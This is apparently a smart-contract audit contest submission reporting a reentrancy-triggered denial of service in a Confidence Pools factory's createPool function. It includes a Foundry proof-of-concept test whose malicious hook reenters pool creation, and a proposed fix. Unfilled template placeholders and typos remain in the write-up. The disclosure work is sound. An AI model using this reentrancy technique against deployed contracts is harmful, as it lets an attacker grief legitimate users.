BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: medium
Likelihood: medium

CEI Violation Enables Reentrancy Triggered Denial-of-Service on Pool Creation

Author Revealed upon completion

Root + Impact

Description

  • length is read after the two calls to agreement but before the corresponding push. If reentrancy occurs during initialize() (the third external call), the reentrant call re-reads the same length — since the increment hasn't happened yet — and recomputes an identical salt. Clones.cloneDeterministic then attempts to deploy to an address that already has code, which reverts. That revert bubbles up through the entire call stack, reverting the outer, legitimate createPool call along with it.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

Griefing / denial-of-service against pool creation for a given agreement. No direct theft of funds is possible through this function in isolation, but:

  • It breaks the invariant that _poolsByAgreement[agreement].length reflects the pool count at the time external calls are made, which other code or off-chain tooling may rely on.

  • It leaves an unprotected reentrancy surface on a state-mutating entrypoint with no guard, which is a standing risk even if today's exact call graph doesn't yield a worse outcome — future changes to IConfidencePool.initialize() (e.g. new hooks touching accounts) could escalate this from DoS to something more severe without any additional change to createPool itself.

​
/// @title CEIReentrancyPoC
/// @notice Demonstrates the finding: `createPool()`'s external calls (registry check, owner
/// check, `initialize()`) happen before its only state-changing effect (`push`), so a
/// callback-capable address reachable during `initialize()` can reenter `createPool` with
/// the same `agreement`, read the same (not-yet-incremented) `_poolsByAgreement` length,
/// and force `Clones.cloneDeterministic` to collide on an address that already has code —
/// reverting the entire legitimate pool-creation call.
/// Run with: forge test --match-contract CEIReentrancyPoC -vvv
contract CEIReentrancyPoC is Test {
MockSafeHarborRegistry internal registry;
MockConfidencePool internal poolImpl;
​
address internal constant STAKE_TOKEN = address(0xBEEF);
address internal constant RECOVERY = address(0xCAFE);
uint256 internal constant MIN_STAKE = 1 ether;
uint256 internal expiry;
​
function setUp() public {
registry = new MockSafeHarborRegistry();
poolImpl = new MockConfidencePool();
expiry = block.timestamp + 60 days;
}
​
/// @notice Core PoC: on the vulnerable factory, a malicious `accounts` entry reenters
/// `createPool` during `initialize()`. The inner call reads the same pre-push length as
/// the outer call, computes the same deterministic salt, and collides -> revert. The
/// legitimate outer call — which had valid inputs and a legitimately authorized caller —
/// is denied service purely because of the attacker-controlled `accounts` entry.
function test_VulnerableFactory_ReentrancyCausesPoolCreationDoS() public {
VulnerableFactory factory = new VulnerableFactory(address(registry), address(poolImpl), address(this));
factory.setAllowedStakeToken(STAKE_TOKEN, true);
​
// The MaliciousHook itself is the caller/creator, so `IAgreement.owner()` can
// authorize it consistently across both the outer and the reentrant inner call.
MaliciousHook hook = new MaliciousHook(
address(factory), address(0), STAKE_TOKEN, expiry, MIN_STAKE, RECOVERY
);
MockAgreement agreement = new MockAgreement(address(hook));
registry.setValid(address(agreement), true);
​
// Redeploy hook now that we know the agreement address (constructor needs it).
hook = new MaliciousHook(address(factory), address(agreement), STAKE_TOKEN, expiry, MIN_STAKE, RECOVERY);
​
vm.expectRevert(); // ERC1167/Clones deterministic-deploy collision inside the reentrant call
hook.attack();
​
// Confirm no pool was ever recorded — the legitimate call was fully denied, not
// partially applied.
assertEq(factory.poolsByAgreementLength(address(agreement)), 0, "no pool should have been recorded");
}
​
/// @notice Baseline: with a normal (non-malicious) `accounts` array, the vulnerable
/// factory works fine. This isolates the bug to the reentrant-hook scenario rather than
/// some unrelated break, and shows the fix (below) doesn't change this happy path.
function test_VulnerableFactory_BenignFlowStillSucceeds() public {
VulnerableFactory factory = new VulnerableFactory(address(registry), address(poolImpl), address(this));
factory.setAllowedStakeToken(STAKE_TOKEN, true);
​
MockAgreement agreement = new MockAgreement(address(this));
registry.setValid(address(agreement), true);
​
address[] memory accounts = new address[](0);
address pool = factory.createPool(address(agreement), STAKE_TOKEN, expiry, MIN_STAKE, RECOVERY, accounts);
​
assertTrue(pool != address(0));
assertEq(factory.poolsByAgreementLength(address(agreement)), 1);
}
​
/// @notice With the fix applied (push-before-interaction + `nonReentrant`), the same
/// attack no longer corrupts state or produces a salt collision. The reentrant attempt
/// is rejected cleanly by the reentrancy guard instead of racing the salt computation,
/// and critically no partial/duplicate pool gets recorded either way.
function test_FixedFactory_ReentrancyAttemptRejectedCleanly() public {
FixedFactory factory = new FixedFactory(address(registry), address(poolImpl), address(this));
factory.setAllowedStakeToken(STAKE_TOKEN, true);
​
MaliciousHook hook0 = new MaliciousHook(address(factory), address(0), STAKE_TOKEN, expiry, MIN_STAKE, RECOVERY);
MockAgreement agreement = new MockAgreement(address(hook0));
registry.setValid(address(agreement), true);
​
MaliciousHook hook = new MaliciousHook(address(factory), address(agreement), STAKE_TOKEN, expiry, MIN_STAKE, RECOVERY);
​
vm.expectRevert(); // ReentrancyGuard: reentrant call
hook.attack();
​
// No pool recorded at all -- the guard rejects the reentrant call before it can
// touch `_poolsByAgreement`, so there's no risk of a duplicate/unauthorized pool
// being created either, unlike a reorder-only fix would allow.
assertEq(factory.poolsByAgreementLength(address(agreement)), 0, "no pool should have been recorded");
}
​
/// @notice Sanity check: the fix doesn't break normal, non-malicious pool creation.
function test_FixedFactory_BenignFlowStillSucceeds() public {
FixedFactory factory = new FixedFactory(address(registry), address(poolImpl), address(this));
factory.setAllowedStakeToken(STAKE_TOKEN, true);
​
MockAgreement agreement = new MockAgreement(address(this));
registry.setValid(address(agreement), true);
​
address[] memory accounts = new address[](0);
address pool = factory.createPool(address(agreement), STAKE_TOKEN, expiry, MIN_STAKE, RECOVERY, accounts);
​
assertTrue(pool != address(0));
assertEq(factory.poolsByAgreementLength(address(agreement)), 1);
}
}

Recommended Mitigation

AddnonReentran to createPool this is the actual fix, not the aderyn suppression.

  • Reorder so state (_poolsByAgreement[agreement].push(pool)) happens immediately after cloneDeterministic, before initialize() is called — standard CEI.

  • Requires either a malicious agreement contract that also satisfies safeHarborRegistry.isAgreementValid(), or a callback-capable address reachable during initialize() (depends on what accounts / moderator wiring does downstream in IConfidencePool). Neither is far-fetched for a permissionless createPool entrypoint — agreement is fully caller-supplied, and registry validity is a business-logic check, not a guarantee of passive bytecode.

- remove this code
​
```solidity
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
// aderyn-fp-next-line(reentrancy-state-change)
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
// aderyn-fp-next-line(reentrancy-state-change)
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
​
// Salt incorporates the per-agreement index so an agreement can back many pools while
// keeping deterministic, collision-free clone addresses.
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);
​
// aderyn-fp-next-line(reentrancy-state-change)
IConfidencePool(pool)
.initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
​
_poolsByAgreement[agreement].push(pool);
emit PoolCreated(
agreement,
pool,
stakeToken,
expiry,
minStake,
recoveryAddress,
defaultOutcomeModerator,
address(safeHarborRegistry)
);
}
​
​
```
​
​
+ add this code
​
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused nonReentrant returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
​
// Salt incorporates the per-agreement index so an agreement can back many pools while
// keeping deterministic, collision-free clone addresses.
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt);
​
// Effect before interaction: record the pool against `agreement` BEFORE calling out to
// `initialize()`. This closes the reentrancy window where a callback from `initialize()`
// (e.g. via a hook-bearing address in `accounts`, or `stakeToken`/`agreement` behavior)
// could re-enter `createPool` and recompute the same `salt` before `length` increments,
// causing `cloneDeterministic` to collide and revert the legitimate outer call.
_poolsByAgreement[agreement].push(pool);
​
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
​
emit PoolCreated(
agreement,
pool,
stakeToken,
expiry,
minStake,
recoveryAddress,
defaultOutcomeModerator,
address(safeHarborRegistry)
);
}
​
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!